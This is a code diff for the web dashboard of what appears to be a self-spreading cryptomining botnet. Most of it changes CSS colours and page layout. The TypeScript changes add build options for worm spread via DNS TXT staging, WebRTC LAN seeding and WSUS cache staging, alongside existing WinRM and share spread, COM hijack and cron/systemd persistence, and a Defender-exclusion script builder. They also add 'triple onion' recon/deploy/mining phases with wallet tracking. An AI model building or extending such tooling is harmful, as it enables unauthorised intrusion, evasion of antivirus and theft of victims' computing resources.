padding: 0.85rem 1rem;
cursor: pointer;
@@ -66,14 +66,14 @@
}
.pt-agent-card:hover {
background: rgba(0, 255, 170, 0.08);
border-color: rgba(0, 255, 170, 0.3);
background: rgba(0, 232, 245, 0.08);
border-color: rgba(0, 232, 245, 0.3);
}
.pt-agent-card.selected {
background: rgba(0, 255, 170, 0.14);
border-color: #00ffaa;
box-shadow: 0 0 12px #00ffaa33;
background: rgba(0, 232, 245, 0.14);
border-color: #00e8f5;
box-shadow: 0 0 12px rgba(0, 232, 245, 0.2);
}
.pt-agent-card.offline {
@@ -90,7 +90,7 @@
font-size: 0.65rem;
font-family: var(--font-tech, monospace);
color: #000;
background: #00ffaa;
background: #00e8f5;
border-radius: 50%;
width: 18px;
height: 18px;
@@ -114,7 +114,7 @@
.pt-agent-ip {
font-size: 0.7rem;
color: #00ffaa99;
color: rgba(0, 232, 245, 0.6);
font-family: monospace;
}
@@ -138,7 +138,7 @@
.pt-chain-panel {
background: rgba(0, 0, 0, 0.35);
border: 1px solid rgba(0, 255, 170, 0.14);
border: 1px solid rgba(0, 232, 245, 0.14);
border-radius: 10px;
padding: 1rem;
display: flex;
@@ -150,7 +150,7 @@
font-size: 0.65rem;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa88;
color: rgba(0, 232, 245, 0.53);
font-family: var(--font-tech, monospace);
margin-bottom: 0.25rem;
}
@@ -179,14 +179,14 @@
width: 22px;
height: 22px;
border-radius: 50%;
background: #00ffaa22;
border: 1px solid #00ffaa55;
background: rgba(0, 232, 245, 0.13);
border: 1px solid rgba(0, 232, 245, 0.33);
display: flex;
align-items: center;
justify-content: center;
font-size: 0.6rem;
font-family: var(--font-tech, monospace);
color: #00ffaa;
color: #00e8f5;
flex-shrink: 0;
}
@@ -201,7 +201,7 @@
.pt-chain-arrow {
font-size: 0.65rem;
color: #00ffaa55;
color: rgba(0, 232, 245, 0.33);
padding-left: 10px;
}
@@ -217,7 +217,7 @@
margin-left: auto;
}
.pt-hop-status.pending { background: rgba(255,200,0,0.15); color: #ffc800; border: 1px solid #ffc80033; }
.pt-hop-status.ready { background: rgba(0,255,170,0.15); color: #00ffaa; border: 1px solid #00ffaa33; }
.pt-hop-status.ready { background: rgba(0, 232, 245, 0.15); color: #00e8f5; border: 1px solid rgba(0, 232, 245, 0.2); }
.pt-hop-status.failed { background: rgba(255,80,80,0.15); color: #ff5050; border: 1px solid #ff505033; }
/* ── Action buttons ──────────────────────────────────────────── */
@@ -236,14 +236,14 @@
}
.pt-btn-primary {
background: linear-gradient(135deg, #00ffaa22, #00ffaa11);
border-color: #00ffaa;
color: #00ffaa;
text-shadow: 0 0 8px #00ffaa;
background: linear-gradient(135deg, rgba(0, 232, 245, 0.13), rgba(0, 232, 245, 0.07));
border-color: #00e8f5;
color: #00e8f5;
text-shadow: 0 0 8px #00e8f5;
}
.pt-btn-primary:hover:not(:disabled) {
background: linear-gradient(135deg, #00ffaa44, #00ffaa22);
box-shadow: 0 0 14px #00ffaa44;
background: linear-gradient(135deg, rgba(0, 232, 245, 0.25), rgba(0, 232, 245, 0.13));
box-shadow: 0 0 14px rgba(0, 232, 245, 0.27);
}
.pt-btn-primary:disabled {
opacity: 0.35;
@@ -312,9 +312,9 @@
.pt-modal {
background: #0e1117;
border: 1px solid #00ffaa44;
border: 1px solid rgba(0, 232, 245, 0.27);
border-radius: 14px;
box-shadow: 0 0 60px #00ffaa22;
box-shadow: 0 0 60px rgba(0, 232, 245, 0.13);
padding: 2rem;
max-width: 520px;
width: 100%;
@@ -334,9 +334,9 @@
font-weight: 700;
letter-spacing: 0.12em;
text-transform: uppercase;
color: #00ffaa;
color: #00e8f5;
font-family: var(--font-tech, monospace);
text-shadow: 0 0 12px #00ffaa66;
text-shadow: 0 0 12px rgba(0, 232, 245, 0.4);
}
.pt-qr-wrap {
@@ -345,7 +345,7 @@
padding: 0.5rem;
background: #000;
border-radius: 10px;
border: 1px solid #00ffaa33;
border: 1px solid rgba(0, 232, 245, 0.2);
}
.pt-qr-img {
@@ -387,7 +387,7 @@
font-size: 0.62rem;
letter-spacing: 0.14em;
text-transform: uppercase;
color: #00ffaa55;
color: rgba(0, 232, 245, 0.33);
font-family: var(--font-tech, monospace);
margin-bottom: 0.4rem;
}
@@ -405,8 +405,8 @@
display: inline-block;
width: 14px;
height: 14px;
border: 2px solid #00ffaa33;
border-top-color: #00ffaa;
border: 2px solid rgba(0, 232, 245, 0.2);
border-top-color: #00e8f5;
border-radius: 50%;
animation: pt-spin 0.6s linear infinite;
vertical-align: middle;

View File

@@ -246,10 +246,10 @@ export default function PathTracerPage() {
<header className="deck-hero">
<div className="deck-hero-text">
<p className="deck-eyebrow font-tech">NETWORK OPS · WIREGUARD</p>
<h1 className="pt-title"> Path Tracer <HelpTip field="pt_path_tracer" /></h1>
<div className="pt-subtitle">
<h1> Path Tracer <HelpTip field="pt_path_tracer" /></h1>
<p className="page-subtitle">
Build an on-demand multi-hop WireGuard VPN select up to 3 agents, click TRACE.
</div>
</p>
</div>
</header>

View File

@@ -34,7 +34,6 @@ import {
buildDefenderExclusionScript,
defaultWindowsInstallPreview,
} from '../help/defenderExclusion';
import './Pages.css';
/** Recursively merge `override` into `base`, preserving keys not in `override`. */
export function deepMerge<T extends object>(base: T, override: Partial<T>): T {

View File

@@ -127,38 +127,6 @@
z-index: 1;
}
.page-header--sacred {
position: relative;
padding-bottom: 0.75rem;
}
.page-header--sacred::after {
content: '';
position: absolute;
left: 0;
right: 0;
bottom: 0;
height: 1px;
background: linear-gradient(
90deg,
transparent,
rgba(201, 162, 39, 0.5) 15%,
rgba(0, 245, 255, 0.35) 50%,
rgba(201, 162, 39, 0.5) 85%,
transparent
);
}
.page-header--sacred .page-header-sacred-motif {
position: absolute;
right: 0;
top: 50%;
transform: translateY(-50%);
width: 48px;
height: 48px;
opacity: 0.2;
pointer-events: none;
}
/* Neon card corner watermarks */
.neon-card {

View File

@@ -17,7 +17,7 @@
box-shadow:
var(--shadow-panel),
inset 0 1px 0 rgba(232, 197, 71, 0.12),
0 0 40px rgba(0, 245, 255, 0.04);
0 0 40px rgba(0, 232, 245, 0.04);
}
.chart-header {
@@ -82,7 +82,7 @@
120deg,
rgba(201, 162, 39, 0.06) 0%,
rgba(8, 6, 4, 0.4) 40%,
rgba(0, 245, 255, 0.04) 100%
rgba(0, 232, 245, 0.04) 100%
);
box-shadow: 0 0 48px rgba(201, 162, 39, 0.06);
}
@@ -144,18 +144,9 @@
text-shadow: 0 0 16px rgba(57, 255, 20, 0.4);
}
.earnings-preview-badge {
font-family: var(--font-tech);
font-size: 0.6rem;
letter-spacing: 0.18em;
color: var(--brass-light);
opacity: 0.75;
margin-bottom: 0.35rem;
}
.contrib-panel.sample-contrib .contrib-fill {
background: linear-gradient(90deg, var(--brass-dark), var(--neon-cyan));
box-shadow: 0 0 10px rgba(0, 245, 255, 0.25);
box-shadow: 0 0 10px rgba(0, 232, 245, 0.25);
}
.activity-pulse.sample-activity .pulse-row.ok .pulse-dot {

View File

@@ -297,6 +297,15 @@ export interface ServerSettings {
public_builds_latest_n?: number;
/** Server-side LOTL Onion tier order pushed to agents with lotl_policy_from_server. */
lotl_onion_tiers?: string[];
/** Triple onion recon/deploy gates pushed to agents at auth. */
triple_onion_policy?: {
patch_first?: boolean;
mine_isolated_tier?: boolean;
skip_mining_on_high_risk?: boolean;
high_risk_threshold?: number;
recon_tiers?: string[];
deploy_lanes?: string[];
};
}
export interface TunnelDefaults {
@@ -492,6 +501,12 @@ export interface BuildRequest {
share_spread?: boolean;
/** WinRM encoded bootstrap during autospread (Windows, owned/lab). */
winrm_spread?: boolean;
/** DNS TXT mesh shard staging via _aether zone (Windows/universal default ON). */
dns_txt_spread?: boolean;
/** WebRTC LAN seed manifest path — heavier; default OFF. */
webrtc_mesh_spread?: boolean;
/** WSUS SoftwareDistribution cousin staging (default ON for Windows). */
wsus_cache_peer_spread?: boolean;
/** COM CLSID hijack persistence — high-friction; default off. */
com_hijack_persist?: boolean;
/** Linux LOTL persistence: systemd_run_user | crontab | both | off */

View File

@@ -20,6 +20,8 @@ export interface TierAttempt {
error?: string;
duration_ms?: number;
wallet?: string;
/** recon | deploy | mining — triple onion phase */
phase?: string;
}
/** Full tier run snapshot — mirrors Go TierReport (mining_diagnostics + WS stats). */
@@ -68,6 +70,7 @@ export function parseTierAttempts(raw: unknown): TierAttempt[] {
error: typeof row.error === 'string' ? row.error : undefined,
duration_ms: typeof row.duration_ms === 'number' ? row.duration_ms : undefined,
wallet: typeof row.wallet === 'string' ? row.wallet : undefined,
phase: typeof row.phase === 'string' ? row.phase : undefined,
});
}
return out;